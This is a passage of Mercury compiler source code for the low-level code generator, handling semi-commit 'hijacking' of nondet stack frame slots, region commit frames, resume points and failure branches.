MR_commit_{mark,cut}.\n            Components = [\n                foreign_proc_raw_code(cannot_branch_away,\n                    proc_affects_liveness, live_lvals_info(set.init),\n                    \"\\t\\tMR_save_transient_registers();\\n\"),\n                foreign_proc_raw_code(cannot_branch_away,\n                    proc_does_not_affect_liveness, live_lvals_info(set.init),\n                    \"\\t\\tMR_commit_mark();\\n\"),\n                foreign_proc_raw_code(cannot_branch_away,\n                    proc_affects_liveness, live_lvals_info(set.init),\n                    \"\\t\\tMR_restore_transient_registers();\\n\")\n            ],\n            MD = proc_may_duplicate,\n            MarkCode = singleton(\n                llds_instr(foreign_proc_code([], Components,\n                    proc_will_not_call_mercury, no, no, no, no, no, no, MD),\n                    \"\")\n            )\n        ;\n            UseMinimalModelStackCopyCut = no,\n            MarkCode = empty\n        ),\n        HijackCode = MaxfrCode ++ TempFrameCode ++ MarkCode\n    ;\n        (\n            CurfrMaxfr = must_be_equal,\n            (\n                ResumeKnown = resume_point_known(has_been_done),\n                HijackInfo = commit_quarter_hijack,\n                HijackCode = singleton(\n                    llds_instr(assign(redoip_slot(lval(curfr)),\n                        StackLabelConst),\n                        \"hijack the redofr slot\")\n                )\n            ;\n                ( ResumeKnown = resume_point_known(wont_be_done)\n                ; ResumeKnown = resume_point_unknown\n                ),\n                acquire_temp_slot(slot_lval(redoip_slot(lval(curfr))),\n                    non_persistent_temp_slot, RedoipSlot, !CI),\n                HijackInfo = commit_half_hijack(RedoipSlot),\n                HijackCode = from_list([\n                    llds_instr(assign(RedoipSlot,\n                        lval(redoip_slot(lval(curfr)))),\n                        \"prepare for half commit hijack\"),\n                    llds_instr(assign(redoip_slot(lval(curfr)),\n                        StackLabelConst),\n                        \"hijack the redofr slot\")\n                ])\n            )\n        ;\n            CurfrMaxfr = may_be_different,\n            acquire_temp_slot(slot_lval(redoip_slot(lval(maxfr))),\n                non_persistent_temp_slot, RedoipSlot, !CI),\n            acquire_temp_slot(slot_lval(redofr_slot(lval(maxfr))),\n                non_persistent_temp_slot, RedofrSlot, !CI),\n            acquire_temp_slot(slot_lval(maxfr),\n                non_persistent_temp_slot, MaxfrSlot, !CI),\n            HijackInfo = commit_full_hijack(RedoipSlot, RedofrSlot, MaxfrSlot),\n            HijackCode = from_list([\n                llds_instr(assign(RedoipSlot, lval(redoip_slot(lval(maxfr)))),\n                    \"prepare for full commit hijack\"),\n                llds_instr(assign(RedofrSlot, lval(redofr_slot(lval(maxfr)))),\n                    \"prepare for full commit hijack\"),\n                llds_instr(save_maxfr(MaxfrSlot),\n                    \"prepare for full commit hijack\"),\n                llds_instr(assign(redofr_slot(lval(maxfr)), lval(curfr)),\n                    \"hijack the redofr slot\"),\n                llds_instr(assign(redoip_slot(lval(maxfr)), StackLabelConst),\n                    \"hijack the redoip slot\")\n            ])\n        )\n    ),\n    maybe_save_trail_info(AddTrailOps, MaybeTrailSlots, SaveTrailCode, !CI),\n    maybe_save_region_commit_frame(AddRegionOps, ForwardLiveVarsBeforeGoal,\n        CommitGoalInfo, MaybeRegionCommitFrameInfo, SaveRegionCommitFrameCode,\n        !CI),\n    SemiCommitInfo = semi_commit_info(FailInfo0, NewResumePoint,\n        HijackInfo, MaybeTrailSlots, MaybeRegionCommitFrameInfo),\n    Code = HijackCode ++ SaveTrailCode ++ SaveRegionCommitFrameCode.\n\ngenerate_semi_commit(SemiCommitInfo, Code, !CI) :-\n    SemiCommitInfo = semi_commit_info(FailInfo, ResumePoint,\n        HijackInfo, MaybeTrailSlots, MaybeRegionCommitFrameInfo),\n\n    set_fail_info(FailInfo, !CI),\n    % XXX Should release the temp slots in each arm of the switch.\n    (\n        HijackInfo = commit_temp_frame(MaxfrSlot, UseMinimalModel),\n        MaxfrCode = singleton(\n            llds_instr(restore_maxfr(MaxfrSlot),\n                \"restore maxfr for temp frame hijack\")\n        ),\n        (\n            UseMinimalModel = yes,\n            % See the comment in prepare_for_semi_commit above.\n            Components = [\n                foreign_proc_raw_code(cannot_branch_away,\n                    proc_does_not_affect_liveness, live_lvals_info(set.init),\n                    \"\\t\\tMR_commit_cut();\\n\")\n            ],\n            MD = proc_may_duplicate,\n            CutCode = singleton(\n                llds_instr(foreign_proc_code([], Components,\n                    proc_will_not_call_mercury, no, no, no, no, no, no, MD),\n                    \"commit for temp frame hijack\")\n            )\n        ;\n            UseMinimalModel = no,\n            CutCode = empty\n        ),\n        SuccessUndoCode = MaxfrCode ++ CutCode,\n        FailureUndoCode = MaxfrCode ++ CutCode\n    ;\n        HijackInfo = commit_quarter_hijack,\n        FailInfo = fail_info(ResumePoints, _, _, _, _),\n        stack.det_top(ResumePoints, TopResumePoint),\n        pick_stack_resume_point(TopResumePoint, _, StackLabel),\n        StackLabelConst = const(llconst_code_addr(StackLabel)),\n        SuccessUndoCode = from_list([\n            llds_instr(assign(maxfr, lval(curfr)),\n                \"restore maxfr for quarter commit hijack\"),\n            llds_instr(assign(redoip_slot(lval(maxfr)), StackLabelConst),\n                \"restore redoip for quarter commit hijack\")\n        ]),\n        FailureUndoCode = singleton(\n            llds_instr(assign(redoip_slot(lval(maxfr)), StackLabelConst),\n                \"restore redoip for quarter commit hijack\")\n        )\n    ;\n        HijackInfo = commit_half_hijack(RedoipSlot),\n        SuccessUndoCode = from_list([\n            llds_instr(assign(maxfr, lval(curfr)),\n                \"restore maxfr for half commit hijack\"),\n            llds_instr(assign(redoip_slot(lval(maxfr)), lval(RedoipSlot)),\n                \"restore redoip for half commit hijack\")\n        ]),\n        FailureUndoCode = singleton(\n            llds_instr(assign(redoip_slot(lval(maxfr)), lval(RedoipSlot)),\n                \"restore redoip for half commit hijack\")\n        )\n    ;\n        HijackInfo = commit_full_hijack(RedoipSlot, RedofrSlot, MaxfrSlot),\n        SuccessUndoCode = from_list([\n            llds_instr(restore_maxfr(MaxfrSlot),\n                \"restore maxfr for full commit hijack\"),\n            llds_instr(assign(redoip_slot(lval(maxfr)), lval(RedoipSlot)),\n                \"restore redoip for full commit hijack\"),\n            llds_instr(assign(redofr_slot(lval(maxfr)), lval(RedofrSlot)),\n                \"restore redofr for full commit hijack\")\n        ]),\n        FailureUndoCode = from_list([\n            llds_instr(assign(redoip_slot(lval(maxfr)), lval(RedoipSlot)),\n                \"restore redoip for full commit hijack\"),\n            llds_instr(assign(redofr_slot(lval(maxfr)), lval(RedofrSlot)),\n                \"restore redofr for full commit hijack\")\n        ])\n    ),\n\n    remember_position(!.CI, AfterCommit),\n    generate_resume_point(ResumePoint, ResumePointCode, !CI),\n    generate_failure(FailCode, !CI),\n    reset_to_position(AfterCommit, !CI),\n\n    maybe_restore_trail_info(MaybeTrailSlots, CommitTrailCode,\n        RestoreTrailCode, !CI),\n    maybe_restore_region_commit_frame(MaybeRegionCommitFrameInfo,\n        SuccessRegionCode, FailureRegionCode, !CI),\n\n    get_next_label(SuccLabel, !CI),\n    GotoSuccLabel = singleton(\n        llds_instr(goto(code_label(SuccLabel)), \"Jump to success continuation\")\n    ),\n    SuccLabelCode = singleton(\n        llds_instr(label(SuccLabel), \"Success continuation\")\n    ),\n    SuccessCode = SuccessUndoCode ++ CommitTrailCode ++ SuccessRegionCode,\n    FailureCode = ResumePointCode ++ FailureUndoCode ++ RestoreTrailCode ++\n        FailureRegionCode ++ FailCode,\n    Code = SuccessCode ++ GotoSuccLabel ++ FailureCode ++ SuccLabelCode.\n\n%---------------------------------------------------------------------------%\n\n:- pred maybe_save_region_commit_frame(add_region_ops::in, set_of_progvar::in,\n    hlds_goal_info::in, maybe(region_commit_stack_frame)::out, llds_code::out,\n    code_info::in, code_info::out) is det.\n\nmaybe_save_region_commit_frame(AddRegionOps, _ForwardLiveVarsBeforeGoal,\n        CommitGoalInfo, MaybeRegionCommitFrameInfo, Code, !CI) :-\n    (\n        AddRegionOps = do_not_add_region_ops,\n        MaybeRegionCommitFrameInfo = no,\n        Code = empty\n    ;\n        AddRegionOps = add_region_ops,\n        MaybeRbmmInfo = goal_info_get_maybe_rbmm(CommitGoalInfo),\n        (\n            MaybeRbmmInfo = no,\n            MaybeRegionCommitFrameInfo = no,\n            Code = empty\n        ;\n            MaybeRbmmInfo = yes(RbmmInfo),\n            RbmmInfo = rbmm_goal_info(_, CommitRemovedRegionVars, _, _, _),\n\n            RemovedRegionVarList = set.to_sorted_list(CommitRemovedRegionVars),\n\n            NumRemovedRegionVars = list.length(RemovedRegionVarList),\n\n            code_info.get_globals(!.CI, Globals),\n            globals.lookup_int_option(Globals, size_region_commit_fixed,\n                FixedSize),\n            globals.lookup_int_option(Globals, size_region_commit_entry,\n                EntrySize),\n            FrameSize = FixedSize + EntrySize * NumRemovedRegionVars,\n            Items = list.duplicate(FrameSize, slot_region_commit),\n            acquire_several_temp_slots(Items, non_persistent_temp_slot,\n                StackVars, MainStackId, FirstSlotNum, LastSlotNum, !CI),\n            EmbeddedStackFrame = embedded_stack_frame_id(MainStackId,\n                FirstSlotNum, LastSlotNum),\n            FirstSavedRegionAddr = first_nonfixed_embedded_slot_addr(\n                EmbeddedStackFrame, FixedSize),\n            acquire_reg(reg_r, NumRegLval, !CI),\n            acquire_reg(reg_r, AddrRegLval, !CI),\n            PushInitCode = from_list([\n                llds_instr(\n                    push_region_frame(region_stack_commit, EmbeddedStackFrame),\n                    \"Save stack pointer of embedded region commit stack\"),\n                llds_instr(\n                    assign(NumRegLval, const(llconst_int(0))),\n                    \"Initialize number of unprotected live regions\"),\n                llds_instr(\n                    assign(AddrRegLval, FirstSavedRegionAddr),\n                    \"Initialize pointer to the next unprotected live\" ++\n                    \" region slot\")\n            ]),\n            save_unprotected_live_regions(NumRegLval, AddrRegLval,\n                EmbeddedStackFrame, RemovedRegionVarList, FillCode, !CI),\n            SetCode = singleton(\n                llds_instr(\n                    region_set_fixed_slot(region_set_commit_num_entries,\n                        EmbeddedStackFrame, lval(NumRegLval)),\n                    \"Store the number of unprotected live regions\")\n            ),\n            release_reg(NumRegLval, !CI),\n            release_reg(AddrRegLval, !CI),\n\n            RegionCommitFrameInfo =\n                region_commit_stack_frame(EmbeddedStackFrame, StackVars),\n            MaybeRegionCommitFrameInfo = yes(RegionCommitFrameInfo),\n\n            Code = PushInitCode ++ FillCode ++ SetCode\n        )\n    ).\n\n:- pred save_unprotected_live_regions(lval::in, lval::in,\n    embedded_stack_frame_id::in, list(prog_var)::in, llds_code::out,\n    code_info::in, code_info::out) is det.\n\nsave_unprotected_live_regions(_, _, _, [], empty, !CI).\nsave_unprotected_live_regions(NumLval, AddrLval, EmbeddedStackFrame,\n        [RegionVar | RegionVars], Code ++ Codes, !CI) :-\n    produce_variable(RegionVar, ProduceVarCode, RegionVarRval, !CI),\n    SaveCode = singleton(\n        llds_instr(\n            region_fill_frame(region_fill_commit, EmbeddedStackFrame,\n                RegionVarRval, NumLval, AddrLval),\n            \"Save the region in the commit stack frame if it is unprotected\")\n    ),\n    Code = ProduceVarCode ++ SaveCode,\n    save_unprotected_live_regions(NumLval, AddrLval, EmbeddedStackFrame,\n        RegionVars, Codes, !CI).\n\n:- pred maybe_restore_region_commit_frame(maybe(region_commit_stack_frame)::in,\n    llds_code::out, llds_code::out, code_info::in, code_info::out) is det.\n\nmaybe_restore_region_commit_frame(MaybeRegionCommitFrameInfo,\n        SuccessCode, FailureCode, !CI) :-\n    (\n        MaybeRegionCommitFrameInfo = no,\n        SuccessCode = empty,\n        FailureCode = empty\n    ;\n        MaybeRegionCommitFrameInfo = yes(RegionCommitFrameInfo),\n        RegionCommitFrameInfo = region_commit_stack_frame(EmbeddedStackFrame,\n            StackVars),\n        SuccessCode = singleton(\n            llds_instr(\n                use_and_maybe_pop_region_frame(region_commit_success,\n                    EmbeddedStackFrame),\n                \"Destroy removed regions protected by cut away disjunctions\")\n        ),\n        FailureCode = singleton(\n            llds_instr(\n                use_and_maybe_pop_region_frame(region_commit_failure,\n                    EmbeddedStackFrame),\n                \"Undo the creation of the commit frame\")\n        ),\n        release_several_temp_slots(StackVars, non_persistent_temp_slot, !CI)\n    ).\n\n%---------------------------------------------------------------------------%\n\n:- pred inside_non_condition(code_info::in, code_info::out) is det.\n\ninside_non_condition(!CI) :-\n    get_fail_info(!.CI, FailInfo0),\n    FailInfo0 = fail_info(ResumePoints, ResumeKnown, CurfrMaxfr, _, Allow),\n    FailInfo = fail_info(ResumePoints, ResumeKnown, CurfrMaxfr,\n        inside_non_condition, Allow),\n    set_fail_info(FailInfo, !CI).\n\n:- pred create_temp_frame(code_addr::in, string::in, llds_code::out,\n    code_info::in, code_info::out) is det.\n\ncreate_temp_frame(Redoip, Comment, Code, !CI) :-\n    ( get_proc_model(!.CI) = model_non ->\n        Kind = nondet_stack_proc\n    ;\n        Kind = det_stack_proc\n    ),\n    Code = singleton(\n        llds_instr(mkframe(temp_frame(Kind), yes(Redoip)), Comment)\n    ),\n    set_created_temp_frame(yes, !CI),\n    get_fail_info(!.CI, FailInfo0),\n    FailInfo0 = fail_info(ResumePoints, ResumeKnown, _, CondEnv, Allow),\n    FailInfo = fail_info(ResumePoints, ResumeKnown, may_be_different,\n        CondEnv, Allow),\n    set_fail_info(FailInfo, !CI).\n\n%---------------------------------------------------------------------------%\n\neffect_resume_point(ResumePoint, CodeModel, Code, !CI) :-\n    get_fail_info(!.CI, FailInfo0),\n    FailInfo0 = fail_info(ResumePoints0, _ResumeKnown, CurfrMaxfr,\n        CondEnv, Allow),\n    ( stack.top(ResumePoints0, OldResumePoint) ->\n        pick_first_resume_point(OldResumePoint, OldMap, _),\n        pick_first_resume_point(ResumePoint, NewMap, _),\n        map.keys(OldMap, OldKeys),\n        map.keys(NewMap, NewKeys),\n        set.list_to_set(OldKeys, OldKeySet),\n        set.list_to_set(NewKeys, NewKeySet),\n        expect(set.subset(OldKeySet, NewKeySet), $module, $pred,\n            \"non-nested resume point variable sets\")\n    ;\n        true\n    ),\n    stack.push(ResumePoint, ResumePoints0, ResumePoints),\n    (\n        CodeModel = model_non,\n        pick_stack_resume_point(ResumePoint, _, StackLabel),\n        LabelConst = const(llconst_code_addr(StackLabel)),\n        Code = singleton(\n            llds_instr(assign(redoip_slot(lval(maxfr)), LabelConst),\n                \"hijack redoip to effect resume point\")\n        ),\n        RedoipUpdate = has_been_done\n    ;\n        ( CodeModel = model_det\n        ; CodeModel = model_semi\n        ),\n        Code = empty,\n        RedoipUpdate = wont_be_done\n    ),\n    FailInfo = fail_info(ResumePoints, resume_point_known(RedoipUpdate),\n        CurfrMaxfr, CondEnv, Allow),\n    set_fail_info(FailInfo, !CI).\n\npop_resume_point(!CI) :-\n    get_fail_info(!.CI, FailInfo0),\n    FailInfo0 = fail_info(ResumePoints0, ResumeKnown, CurfrMaxfr,\n        CondEnv, Allow),\n    stack.det_pop(_, ResumePoints0, ResumePoints),\n    FailInfo = fail_info(ResumePoints, ResumeKnown, CurfrMaxfr,\n        CondEnv, Allow),\n    set_fail_info(FailInfo, !CI).\n\n%---------------------------------------------------------------------------%\n\ntop_resume_point(CI, ResumePoint) :-\n    get_fail_info(CI, FailInfo),\n    FailInfo = fail_info(ResumePoints, _, _, _, _),\n    stack.det_top(ResumePoints, ResumePoint).\n\nset_resume_point_to_unknown(!CI) :-\n    get_fail_info(!.CI, FailInfo0),\n    FailInfo0 = fail_info(ResumePoints, _, CurfrMaxfr, CondEnv, Allow),\n    FailInfo = fail_info(ResumePoints, resume_point_unknown,\n        CurfrMaxfr, CondEnv, Allow),\n    set_fail_info(FailInfo, !CI).\n\nset_resume_point_and_frame_to_unknown(!CI) :-\n    get_fail_info(!.CI, FailInfo0),\n    FailInfo0 = fail_info(ResumePoints, _, _, CondEnv, Allow),\n    FailInfo = fail_info(ResumePoints, resume_point_unknown, may_be_different,\n        CondEnv, Allow),\n    set_fail_info(FailInfo, !CI).\n\n%---------------------------------------------------------------------------%\n\ngenerate_failure(Code, !CI) :-\n    get_fail_info(!.CI, FailInfo),\n    FailInfo = fail_info(ResumePoints, ResumeKnown, _, _, _),\n    (\n        ResumeKnown = resume_point_known(_),\n        stack.det_top(ResumePoints, TopResumePoint),\n        ( pick_matching_resume_addr(!.CI, TopResumePoint, FailureAddress0) ->\n            FailureAddress = FailureAddress0,\n            PlaceCode = empty\n        ;\n            pick_first_resume_point(TopResumePoint, Map, FailureAddress),\n            map.to_assoc_list(Map, AssocList),\n            remember_position(!.CI, CurPos),\n            pick_and_place_vars(AssocList, _, PlaceCode, !CI),\n            reset_to_position(CurPos, !CI)\n        ),\n        BranchCode = singleton(llds_instr(goto(FailureAddress), \"fail\")),\n        Code = PlaceCode ++ BranchCode\n    ;\n        ResumeKnown = resume_point_unknown,\n        Code = singleton(llds_instr(goto(do_redo), \"fail\"))\n    ).\n\nfail_if_rval_is_false(Rval0, Code, !CI) :-\n    get_fail_info(!.CI, FailInfo),\n    FailInfo = fail_info(ResumePoints, ResumeKnown, _, _, _),\n    (\n        ResumeKnown = resume_point_known(_),\n        stack.det_top(ResumePoints, TopResumePoint),\n        ( pick_matching_resume_addr(!.CI, TopResumePoint, FailureAddress0) ->\n            % We branch away if the test *fails*\n            code_util.neg_rval(Rval0, Rval),\n            Code = singleton(\n                llds_instr(if_val(Rval, FailureAddress0), \"Test for failure\")\n            )\n        ;\n            pick_first_resume_point(TopResumePoint, Map, FailureAddress),\n            map.to_assoc_list(Map, AssocList),\n            get_next_label(SuccessLabel, !CI),\n            remember_position(!.CI, CurPos),\n            pick_and_place_vars(AssocList, _, PlaceCode, !CI),\n            reset_to_position(CurPos, !CI),\n            SuccessAddress = code_label(SuccessLabel),\n            % We branch away if the test *fails*, therefore if the test\n            % succeeds, we branch around the code that moves variables to\n            % their failure locations and branches away to the failure\n            % continuation.\n            TestCode = singleton(\n                llds_instr(if_val(Rval0, SuccessAddress), \"Test for failure\")\n            ),\n            TailCode = from_list([\n                llds_instr(goto(FailureAddress), \"Goto failure\"),\n                llds_instr(label(SuccessLabel), \"Success continuation\")\n            ]),\n            Code = TestCode ++ PlaceCode ++ TailCode\n        )\n    ;\n        ResumeKnown = resume_point_unknown,\n        % We branch away if the test *fails*\n        code_util.neg_rval(Rval0, Rval),\n        Code = singleton(\n            llds_instr(if_val(Rval, do_redo), \"Test for failure\")\n        )\n    ).\n\n%---------------------------------------------------------------------------%\n\nfailure_is_direct_branch(CI, CodeAddr) :-\n    get_fail_info(CI, FailInfo),\n    FailInfo = fail_info(ResumePoints, resume_point_known(_), _, _, _),\n    stack.top(ResumePoints, TopResumePoint),\n    pick_matching_resume_addr(CI, TopResumePoint, CodeAddr).\n\nmay_use_nondet_tailcall(CI, TailCallStatus) :-\n    get_fail_info(CI, FailInfo),\n    FailInfo = fail_info(ResumePoints0, ResumeKnown, _, _, _),\n    (\n        stack.pop(ResumePoint1, ResumePoints0, ResumePoints1),\n        stack.is_empty(ResumePoints1),\n        ResumePoint1 = stack_only(_, do_fail)\n    ->\n        (\n            ResumeKnown = resume_point_known(_),\n            TailCallStatus = unchecked_tail_call\n        ;\n            ResumeKnown = resume_point_unknown,\n            TailCallStatus = checked_tail_call\n        )\n    ;\n        TailCallStatus = no_tail_call\n    ).\n\n%---------------------------------------------------------------------------%\n\n    % See whether the current locations of variables match the locations\n    % associated with any of the options in the given failure map.\n    % If yes, return the code_addr of that option.\n    %\n:- pred pick_matching_resume_addr(code_info::in,\n    resume_point_info::in, code_addr::out) is semidet.\n\npick_matching_resume_addr(CI, ResumeMaps, Addr) :-\n    variable_locations(CI, CurLocs),\n    (\n        ResumeMaps = orig_only(Map1, Addr1),\n        ( match_resume_loc(Map1, CurLocs) ->\n            Addr = Addr1\n        ;\n            fail\n        )\n    ;\n        ResumeMaps = stack_only(Map1, Addr1),\n        ( match_resume_loc(Map1, CurLocs) ->\n            Addr = Addr1\n        ;\n            fail\n        )\n    ;\n        ResumeMaps = orig_and_stack(Map1, Addr1, Map2, Addr2),\n        ( match_resume_loc(Map1, CurLocs) ->\n            Addr = Addr1\n        ; match_resume_loc(Map2, CurLocs) ->\n            Addr = Addr2\n        ;\n            fail\n        )\n    ;\n        ResumeMaps = stack_and_orig(Map1, Addr1, Map2, Addr2),\n        ( match_resume_loc(Map1, CurLocs) ->\n            Addr = Addr1\n        ; match_resume_loc(Map2, CurLocs) ->\n            Addr = Addr2\n        ;\n            fail\n        )\n    ).\n\n:- pred match_resume_loc(resume_map::in, resume_map::in) is semidet.\n\nmatch_resume_loc(Map, Locations0) :-\n    map.keys(Map, KeyList),\n    set.list_to_set(KeyList, Keys),\n    map.select(Locations0, Keys, Locations),\n    map.to_assoc_list(Locations, List),\n    all_vars_match_resume_map(Map, List).\n\n:- pred all_vars_match_resume_map(resume_map::in,\n    assoc_list(prog_var, set(lval))::in) is semidet.\n\nall_vars_match_resume_map(_Map, []).\nall_vars_match_resume_map(Map, [Var - Actual | VarsActuals]) :-\n    map.search(Map, Var, Lvals),\n    set.subset(Lvals, Actual),\n    all_vars_match_resume_map(Map, VarsActuals).\n\n:- pred pick_first_resume_point(resume_point_info::in,\n    resume_map::out, code_addr::out) is det.\n\npick_first_resume_point(orig_only(Map, Addr), Map, Addr).\npick_first_resume_point(stack_only(Map, Addr), Map, Addr).\npick_first_resume_point(orig_and_stack(Map, Addr, _, _), Map, Addr).\npick_first_resume_point(stack_and_orig(Map, Addr, _, _), Map, Addr).\n\n:- pred pick_stack_resume_point(resume_point_info::in,\n    resume_map::out, code_addr::out) is det.\n\npick_stack_resume_point(ResumePoint, Map, Addr) :-\n    ( maybe_pick_stack_resume_point(ResumePoint, Map1, Addr1) ->\n        Map = Map1,\n        Addr = Addr1\n    ;\n        unexpected($module, $pred, \"no stack resume point\")\n    ).\n\n:- pred maybe_pick_stack_resume_point(resume_point_info::in,\n    resume_map::out, code_addr::out) is semidet.\n\nmaybe_pick_stack_resume_point(stack_only(Map, Addr), Map, Addr).\nmaybe_pick_stack_resume_point(orig_and_stack(_, _, Map, Addr),\n    Map, Addr).\nmaybe_pick_stack_resume_point(stack_and_orig(Map, Addr, _, _),\n    Map, Addr).\n\n%---------------------------------------------------------------------------%\n\nproduce_vars([], Map, empty, !CI) :-\n    map.init(Map).\nproduce_vars([Var | Vars], Map, Code, !CI) :-\n    produce_vars(Vars, Map0, CodeVars, !CI),\n    produce_variable_in_reg_or_stack(Var, CodeVar, Lval, !CI),\n    Lvals = set.make_singleton_set(Lval),\n    map.set(Var, Lvals, Map0, Map),\n    Code = CodeVars ++ CodeVar.\n\nflush_resume_vars_to_stack(Code, !CI) :-\n    compute_resume_var_stack_locs(!.CI, VarLocs),\n    place_vars(VarLocs, Code, !CI).\n\n:- pred compute_resume_var_stack_locs(code_info::in,\n    assoc_list(prog_var, lval)::out) is det.\n\ncompute_resume_var_stack_locs(CI, VarLocs) :-\n    get_fail_info(CI, FailInfo),\n    FailInfo = fail_info(ResumePointStack, _, _, _, _),\n    stack.det_top(ResumePointStack, ResumePoint),\n    pick_stack_resume_point(ResumePoint, StackMap, _),\n    map.to_assoc_list(StackMap, VarLocSets),\n    pick_var_places(VarLocSets, VarLocs).\n\n%---------------------------------------------------------------------------%\n\n:- pred init_fail_info(code_model::in, maybe(set_of_progvar)::in,\n    resume_point_info::out, code_info::in, code_info::out) is det.\n\ninit_fail_info(CodeModel, MaybeFailVars, ResumePoint, !CI) :-\n    (\n        CodeModel = model_det,\n        get_next_label(ResumeLabel, !CI),\n        ResumeAddress = code_label(ResumeLabel),\n        ResumeKnown = resume_point_unknown,\n        CurfrMaxfr = may_be_different\n    ;\n        CodeModel = model_semi,\n        % The resume point for this label will be part of the procedure epilog.\n        get_next_label(ResumeLabel, !CI),\n        ResumeAddress = code_label(ResumeLabel),\n        ResumeKnown = resume_point_known(wont_be_done),\n        CurfrMaxfr = may_be_different\n    ;\n        CodeModel = model_non,\n        (\n            MaybeFailVars = yes(_),\n            get_next_label(ResumeLabel, !CI),\n            ResumeAddress = code_label(ResumeLabel)\n        ;\n            MaybeFailVars = no,\n            ResumeAddress = do_fail\n        ),\n        ResumeKnown = resume_point_known(has_been_done),\n        CurfrMaxfr = must_be_equal\n    ),\n    (\n        MaybeFailVars = yes(FailVars),\n        get_stack_slots(!.CI, StackSlots),\n        map.select_sorted_list(StackSlots, set_of_var.to_sorted_list(FailVars),\n            AbsStackMap),\n        map.to_assoc_list(AbsStackMap, AbsStackList),\n        StackList0 = assoc_list.map_values_only(stack_slot_to_lval,\n            AbsStackList),\n        make_singleton_sets(StackList0, StackList),\n        map.from_sorted_assoc_list(StackList, StackMap)\n    ;\n        MaybeFailVars = no,\n        map.init(StackMap)\n    ),\n    ResumePoint = stack_only(StackMap, ResumeAddress),\n    stack.init(ResumeStack0),\n    stack.push(ResumePoint, ResumeStack0, ResumeStack),\n    get_fail_info(!.CI, FailInfo0),\n    FailInfo0 = fail_info(_, _, _, _, Allow),\n    FailInfo = fail_info(ResumeStack, ResumeKnown, CurfrMaxfr,\n        not_inside_non_condition, Allow),\n    set_fail_info(FailInfo, !CI).\n\n%---------------------------------------------------------------------------%\n\nmake_resume_point(ResumeVars, ResumeLocs, FullMap, ResumePoint, !CI) :-\n    get_stack_slots(!.CI, StackSlots),\n    map.select_sorted_list(FullMap, ResumeVars, OrigMap),\n    (\n        ResumeLocs = resume_locs_orig_only,\n        get_next_label(OrigLabel, !CI),\n        OrigAddr = code_label(OrigLabel),\n        ResumePoint = orig_only(OrigMap, OrigAddr),\n        trace [compiletime(flag(\"codegen_goal\")), io(!IO)] (\n            ( should_trace_code_gen(!.CI) ->\n                code_info.get_varset(!.CI, VarSet),\n                io.write_string(\"orig_only\\n\", !IO),\n                output_resume_map(VarSet, OrigMap, !IO),\n                io.flush_output(!IO)\n            ;\n                true\n            )\n        )\n    ;\n        ResumeLocs = resume_locs_stack_only,\n        make_stack_resume_map(ResumeVars, StackSlots, StackMap),\n        get_next_label(StackLabel, !CI),\n        StackAddr = code_label(StackLabel),\n        ResumePoint = stack_only(StackMap, StackAddr),\n        trace [compiletime(flag(\"codegen_goal\")), io(!IO)] (\n            ( should_trace_code_gen(!.CI) ->\n                code_info.get_varset(!.CI, VarSet),\n                io.write_string(\"stack_only\\n\", !IO),\n                output_resume_map(VarSet, StackMap, !IO),\n                io.flush_output(!IO)\n            ;\n                true\n            )\n        )\n    ;\n        ResumeLocs = resume_locs_orig_and_stack,\n        make_stack_resume_map(ResumeVars, StackSlots, StackMap),\n        get_next_label(OrigLabel, !CI),\n        OrigAddr = code_label(OrigLabel),\n        get_next_label(StackLabel, !CI),\n        StackAddr = code_label(StackLabel),\n        ResumePoint = orig_and_stack(OrigMap, OrigAddr, StackMap, StackAddr),\n        trace [compiletime(flag(\"codegen_goal\")), io(!IO)] (\n            ( should_trace_code_gen(!.CI) ->\n                code_info.get_varset(!.CI, VarSet),\n                io.write_string(\"stack_and_orig\\n\", !IO),\n                io.write_string(\"orig:\\n\", !IO),\n                output_resume_map(VarSet, OrigMap, !IO),\n                io.write_string(\"stack:\\n\", !IO),\n                output_resume_map(VarSet, StackMap, !IO),\n                io.flush_output(!IO)\n            ;\n                true\n            )\n        )\n    ;\n        ResumeLocs = resume_locs_stack_and_orig,\n        make_stack_resume_map(ResumeVars, StackSlots, StackMap),\n        get_next_label(StackLabel, !CI),\n        StackAddr = code_label(StackLabel),\n        get_next_label(OrigLabel, !CI),\n        OrigAddr = code_label(OrigLabel),\n        ResumePoint = stack_and_orig(StackMap, StackAddr, OrigMap, OrigAddr),\n        trace [compiletime(flag(\"codegen_goal\")), io(!IO)] (\n            ( should_trace_code_gen(!.CI) ->\n                code_info.get_varset(!.CI, VarSet),\n                io.write_string(\"stack_and_orig\\n\", !IO),\n                io.write_string(\"stack:\\n\", !IO),\n                output_resume_map(VarSet, StackMap, !IO),\n                io.write_string(\"orig:\\n\", !IO),\n                output_resume_map(VarSet, OrigMap, !IO),\n                io.flush_output(!IO)\n            ;\n                true\n            )\n        )\n    ).\n\n:- pred make_stack_resume_map(list(prog_var)::in, stack_slots::in,\n    map(prog_var, set(lval))::out) is det.\n\nmake_stack_resume_map(ResumeVars, StackSlots, StackMap) :-\n    map.select_sorted_list(StackSlots, ResumeVars, StackMap0),\n    map.to_assoc_list(StackMap0, AbsStackList),\n    StackList0 = assoc_list.map_values_only(stack_slot_to_lval, AbsStackList),\n    make_singleton_sets(StackList0, StackList),\n    map.from_sorted_assoc_list(StackList, StackMap).\n\n:- pred make_singleton_sets(assoc_list(prog_var, lval)::in,\n    assoc_list(prog_var, set(lval))::out) is det.\n\nmake_singleton_sets([], []).\nmake_singleton_sets([Var - Lval | Tail], [Var - Lvals | SetTail]) :-\n    Lvals = set.make_singleton_set(Lval),\n    make_singleton_sets(Tail, SetTail).\n\n%---------------------------------------------------------------------------%\n\n    % The code we generate for a resumption point looks like this:\n    %\n    % label(StackLabel)\n    % <assume variables are where StackMap says they are>\n    % <copy variables to their locations according to OrigMap>\n    % label(OrigLabel)\n    % <assume variables are where OrigMap says they are>\n    %\n    % Failures at different points may cause control to arrive at\n    % the resumption point via either label, which is why the last\n    % line is necessary.\n    %\n    % The idea is that failures from other procedures will go to\n    % StackLabel, and that failures from this procedure while\n    % everything is in its original place will go to OrigLabel.\n    % Failures from this procedure where not everything is in its\n    % original place can go to either, after moving the resume variables\n    % to the places where the label expects them.\n    %\n    % The above layout (stack, then orig) is the most common. However,\n    % liveness.m may decide that one or other of the two labels will\n    % never be referred to (e.g. because there are no calls inside\n    % the range of effect of the resumption point or because a call\n    % follows immediately after the establishment of the resumption\n    % point), or that it would be more efficient to put the two labels\n    % in the other order (e.g. because the code after the resumption point\n    % needs most of the variables in their stack slots).\n\ngenerate_resume_point(ResumePoint, Code, !CI) :-\n    (\n        ResumePoint = orig_only(Map1, Addr1),\n        extract_label_from_code_addr(Addr1, Label1),\n        Code = singleton(\n            